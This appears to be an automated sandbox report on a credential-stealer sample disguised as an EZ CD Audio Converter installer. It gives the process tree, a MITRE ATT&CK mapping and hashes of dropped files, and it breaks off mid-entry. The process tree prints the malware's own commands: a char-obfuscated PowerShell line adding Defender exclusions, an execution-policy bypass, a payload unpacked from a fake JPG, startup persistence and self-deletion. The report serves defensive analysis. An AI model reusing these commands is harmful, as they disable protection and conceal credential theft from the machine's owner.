description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe

C:\Users\Admin\AppData\Local\Temp\2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe"
1⤵
- Loads dropped DLL
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\EZ CD Audio Converter\EZ CD Audio Converter 12.0.1.1\install\E7D27BC\Setup.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1743142391 "
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  PID:4852

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EA753A4EE1334D1C050C6322967312B1 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4840
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D242ED26597E55BCCB84ED2684440138
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:404
- C:\Windows\Installer\MSIA5CD.tmp
  "C:\Windows\Installer\MSIA5CD.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\Admin\AppData\Local\Temp\setup.msi"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Access Token Manipulation: Create Process with Token
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\setup.msi"
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    PID:2476
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2F5F25FACA903A8868D160D103A827C8 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:4188
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E175AB7B4B536AF94F2DBC93E909D48B
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2620
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 58B25A3A4A058268989BFEDEB83B4831 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:4336
- C:\Users\Admin\AppData\Local\Temp\ez_cd_audio_converter_setup_x64-12.0.1.1.exe
  "C:\Users\Admin\AppData\Local\Temp\ez_cd_audio_converter_setup_x64-12.0.1.1.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:456
- - C:\Program Files\EZ CD Audio Converter\register64.exe
    "C:\Program Files\EZ CD Audio Converter\register64.exe" register
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies registry class
    PID:2712
- - C:\Program Files\EZ CD Audio Converter\ezcd.exe
    "C:\Program Files\EZ CD Audio Converter\ezcd.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Enumerates connected drives
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:2256
- C:\Windows\Installer\MSIB0D6.tmp
  "C:\Windows\Installer\MSIB0D6.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\Admin\AppData\Local\Temp\cmd.bat"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Access Token Manipulation: Create Process with Token
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\cmd.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "tar -xf N.jpg -C $env:public"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2708
    - - C:\Windows\system32\tar.exe
        
        "C:\Windows\system32\tar.exe" -xf N.jpg -C C:\Users\Public
        5⤵
        
        PID:4412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Move-Item -Path 'N.jpg' -Destination $env:public"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2060
  - - C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Public\NEW.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -f C:\Users\Public\NEW.ps1
        5⤵
        Drops startup file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5772
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 -c ".([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -ExclusionPath ([Char]67+[Char]58+[Char]92);.([char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101) -ExclusionProcess 'RegAsm.exe'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4716
      - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Io.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Io.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4660
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:1040

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4fc 0x4b0
1⤵
PID:3364

C:\Users\Admin\AppData\Local\Temp\gtunb.exe
C:\Users\Admin\AppData\Local\Temp\gtunb.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:6440
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffdcf9dcf8,0x7fffdcf9dd04,0x7fffdcf9dd10
    3⤵
    PID:232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2040,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --field-trial-handle=1932,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=2084 /prefetch:3
    3⤵
    PID:6524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --field-trial-handle=2160,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:8
    3⤵
    PID:6588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2828,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=2880 /prefetch:1
    3⤵
    PID:6704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2836,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=2884 /prefetch:1
    3⤵
    PID:6720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3112,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:1
    3⤵
    PID:1620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3164,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:2
    3⤵
    PID:2512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3288,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:1
    3⤵
    PID:7160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3304,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=3368 /prefetch:2
    3⤵
    PID:7140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4120,i,8321045563945438064,5434518549429540232,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:1
    3⤵
    PID:2756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Start-Sleep -Seconds 10; Remove-Item -Path 'C:\Users\Admin\AppData\Local\Temp\gtunb.exe' -Force
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4304

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:3552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Indicator Removal

T1070

File Deletion

T1070.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e579c81.rbs

Filesize
1.9MB

MD5
2a79a98b87c3bfa7f67a084d09b13b30

SHA1
dedf9186421ecf6d87f0f6b36756f4d277914276

SHA256
4573e9df96a0571f09718deab820296ae30b1878cfb37748fd03f83cc5dff2c5

SHA512
41c60c39a410c4d702b25d07b2a9e361ae86a1741a7dc897e9003d314c43e36e004297f3f07ad04c51205a37bfe8a2c9e70e8dcf9774dc78666abfe5931bc051

Download Submit
C:\Config.Msi\e579c86.rbs

Filesize
1.9MB

MD5
7d4aa48cce83d8d4aea821a4dae04496

SHA1
cce58413a742a2e5a7f06f8c8b3ac88400c712a7

SHA256
6fe53d67cf07b49a06fa9c06a2216bd4174834d95603bb3c83c044a66e74c784

SHA512
e3f7c39148e163e0d67038d1dc7f041fcc7c3985270e03a076e437f677111fde909177640a3b458ac0282dacb0ccaa47a575e90fbebc634b6ba8c3e0b20591e0

Download Submit
C:\Program Files\EZ CD Audio Converter\ezcd.exe

Filesize
8.6MB

MD5
40665f02ec466d58f39307b3b7582a00

SHA1
82f81ee2f5805d0dcc6ea107d81bbfcd5019ee79

SHA256
64ea1b5673152de5ea87dfc68c0461321c3f3d1a1d9d45f1f35dff14df65295a

SHA512
cd87108535f4cd34bd4ec2dfd05e10e5e1dc5cbfd130cc9834cfc1ba1a45c2db1a4171c6009987dcff365a1c4c07952841f6ac2788e4c5875bcd2b7a33d52b80

Download Submit
C:\Program Files\EZ CD Audio Converter\ezcd64.dll

Filesize
692KB

MD5
af4b35101d3f77fae67f9a0fdcc62559

SHA1
3b94904a6565bf46e47baecb5e1ee5d1701a19a6

SHA256
cd1728e4cb3eff23d5d9c85c36037f84370dbc7625fae7fad5e49887ea392455

SHA512
3c18e16556b0a922f8cc0aa22206cf053d3ca54acdb6de980f2073fb26097a6db951f24d1c22d8a03c4b9d3344030be921913e77cb8c69b9cbe7399f798b9c15

Download Submit
C:\Program Files\EZ CD Audio Converter\register64.exe

Filesize
148KB

MD5
5872f17645e7ae8436d7607bbbf16cd2

SHA1
767b605431383444afc4d3ca714cc1a9e57f75ff

SHA256
d536a588a513c62145a7f4c1541ae64ddb8495049ceeb4204575266181c91e0d

SHA512
dffb23a467d4eeb19bc4fa3d89337b490bc33522d8d4b74dd82919103d7b44d1912bd11008368649321b12278b50cc9f036d9a195d792774610c93b037440326

Download Submit
C:\Users\Admin\AppData\Local\EZ CD Audio Converter\converter_normal.txt

Filesize
682B

MD5
5fe1e6f8fb8ac21f63049cf39089f53a

SHA1
3176505294c2b2022fbcd227a2493b2a20fb2533

SHA256
b4e717f9ef7af9ba991f9c36b56cb9b4f51fe3b8f29b738496f3af4dcb48d47e

SHA512
a9668866637c6f5e22ea0bcaf2fa56d81beb78540b419ef8ce41118d0cf7cbf766f38b8c0d6ab72839f2874075aa1e8526a815d95d9f05e4a2a59d00e9640ce8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
4a09939416d09072fdda27ca8dd7dc56

SHA1
80f274f4e481ddd822afd5bb4e51281115c81ac2

SHA256
d54cb88f4d90d7b6ca4d228d85ccddf636f85397f46984932363f60668e0ae68

SHA512
a1cbee1afcba8ef8779951e6c1be20c985cbddd476475d969d31ffb57e36e5c316a73972fe84ae9fe022d819580810dde36923695b7a7ea55d2d435799774323

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI9982.tmp

Filesize
997KB

MD5
ee09d6a1bb908b42c05fd0beeb67dfd2

SHA1
1eb7c1304b7bca649c2a5902b18a1ea57ceaa532

SHA256
7bbf611f5e2a16439dc8cd11936f6364f6d5cc0044545c92775da5646afc7752

SHA512
2dd2e4e66d2f2277f031c5f3c829a31c3b29196ab27262c6a8f1896a2113a1be1687c9e8cd9667b89157f099dfb969ef14ae3ea602d4c772e960bc41d39c3d05

Download Submit
C:\Users\Admin\AppData\Local\Temp\N.jpg

Filesize
748KB

MD5
77a525a2fe92d8e23c5c998fc4a1c69a

SHA1
fd1c8824ff28ce087922b791925436a4fbca1389

SHA256
96428e36617977b9289b8ae83bdf0542557d82b7eb051ef8778ef6e26aeca228

SHA512
a1b663152f3c8c3c984ab562b038e54fe4d8486b605d8a6684c2f0b595d00087584267dd82e769893e64b69287094dd7ad5b682b1fd7a4f846938f80309dffb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpof51xg.y33.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cmd.bat

Filesize
379B

MD5
792e9112b9726f770a5ca41fb70e06ee

SHA1
1cd73dc1f39cd5d95ccf6ce17e77f4a113d57540

SHA256
da8efe220f30659356c0cbd12b455d7f531259b55986e36702e617ae04adf412

SHA512
11b9b89a1239b1af1a0952fba7d8b0f8953adf3bec4c38534c70a1d21d67579a29cfa6bd00fce3152deaffeeac326e465052b33adaa676c98c3b87ce5f6d696d

Download Submit
C:\Users\Admin\AppData\Local\Temp\ez_cd_audio_converter_setup_x64-12.0.1.1.exe

Filesize
39.4MB

MD5
bb90a50012560b0d8e68e86201dec567

SHA1
84f0d7ecdfebc2d0fd7ca3ec096a4662d8464570

SHA256
36ba743905a360037896c52d27af3c5e127683ab2c69a37eca718de121761f2d

SHA512
1c5ea48cb81d6ed9b785ab58677685c9716a179bacbc09fa2d16e71769a9ad498572f4e7629b89f28072a282625b0893f6ff7250a8ea0ab6317a7d2d1628d9f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsrB130.tmp\LangDLL.dll

Filesize
5KB

MD5
08de81a4584f5201086f57a7a93ed83b

SHA1
266a6ecc8fb7dca115e6915cd75e2595816841a8

SHA256
4883cd4231744be2dca4433ef62824b7957a3c16be54f8526270402d9413ebe6

SHA512
b72e7cea5ce1f4dc64e65a1f683a3ef9e3fa2dc45cf421f569eb461f1fdcc0caf4ff62a872e62b400579f567c6ff9fc3c2e6e020cdca89d96015502c803a09b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsrB130.tmp\System.dll

Filesize
12KB

MD5
6e55a6e7c3fdbd244042eb15cb1ec739

SHA1
070ea80e2192abc42f358d47b276990b5fa285a9

SHA256
acf90ab6f4edc687e94aaf604d05e16e6cfb5e35873783b50c66f307a35c6506

SHA512
2d504b74da38edc967e3859733a2a9cacd885db82f0ca69bfb66872e882707314c54238344d45945dc98bae85772aceef71a741787922d640627d3c8ae8f1c35

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsrB130.tmp\modern-wizard.bmp

Filesize
150KB

MD5
5dc251b994c2499628eaca24b0ec587f

SHA1
6904b12c39e4765414a4502ca59bd6405e39b364

SHA256
22727d9d1e3e0fe0df182c23b15d6a126ed19c2d1781af8d56e43f87e6506ac1

SHA512
ffba72a87ba1462e62fbaa19015a1a443423ff807483f5e2dafeeae9be3e40505769bda5a1b88eedc8e67b92900961e0d30f9e714e5a96a9b2f1d4a3f6150ad1

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsrB130.tmp\nsDialogs.dll

Filesize
9KB

MD5
ca5bb0ee2b698869c41c087c9854487c

SHA1
4a8abbb2544f1a9555e57a142a147dfeb40c4ca4

SHA256
c719697d5ced17d97bbc48662327339ccec7e03f6552aa1d5c248f6fa5f16324

SHA512
363a80843d7601ba119bc981c4346188f490b388e3ed390a0667aaf5138b885eec6c69d4e7f60f93b069d6550277f4c926bd0f37bc893928111dc62494124770

Download Submit
C:\Users\Admin\AppData\Local\Temp\pre9A9E.tmp

Filesize
886KB

MD5
1d51848e7512c27af22cdf0213e11cf5

SHA1
d35ab52e49c82bb72f0ad7c7568035e8a41564e4

SHA256
0b73497f2ad7a4a04f36b8d46816c5404ba828d7feeca90b3abe28599e9c4619

SHA512
b6513f1ab6af820fd139ba5fe5399268077c328b8dbd19471db203f94f6aec2702baaec37209b4056531cab56d54b09f6d446f0f398befa1cc9cd4f77e65e079

Download Submit
C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v\Default\Site Characteristics Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v\Default\Site Characteristics Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v\GrShaderCache\data_0

Filesize
8KB

MD5
cf89d16bb9107c631daabf0c0ee58efb

SHA1
3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

SHA256
d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

SHA512
8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v\GrShaderCache\data_2

Filesize
8KB

MD5
0962291d6d367570bee5454721c17e11

SHA1
59d10a893ef321a706a9255176761366115bedcb

SHA256
ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

SHA512
f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\zakolx4d.a2v\GrShaderCache\data_3

Filesize
8KB

MD5
41876349cb12d6db992f1309f22df3f0

SHA1
5cf26b3420fc0302cd0a71e8d029739b8765be27

SHA256
e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

SHA512
e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

Download Submit
C:\Users\Admin\AppData\Roaming\EZ CD Audio Converter\EZ CD Audio Converter 12.0.1.1\install\E7D27BC\Setup.msi

Filesize
3.7MB

MD5
351a6f10aeed68dd1131b2a99545793a

SHA1
8cdfa38ff8e774bc196130a64cbdaa6369c7f385

SHA256
a9fe53323e9c89bb836d8adcb2d1c36d4d1f84373f4277ee14b8df3aa3272e65

SHA512
5417ebf76f311a43d32c82e9662e7b790cc149afd25cd35af75dfbe477099e701b5fa194428a47a001b9c64dae0d4dff779ede6b1b894f9264e4d743437b99bf

Download Submit
C:\Users\Admin\AppData\Roaming\EZ CD Audio Converter\EZ CD Audio Converter 12.0.1.1\install\E7D27BC\TempFolder\setup.msi

Filesize
2.9MB

MD5
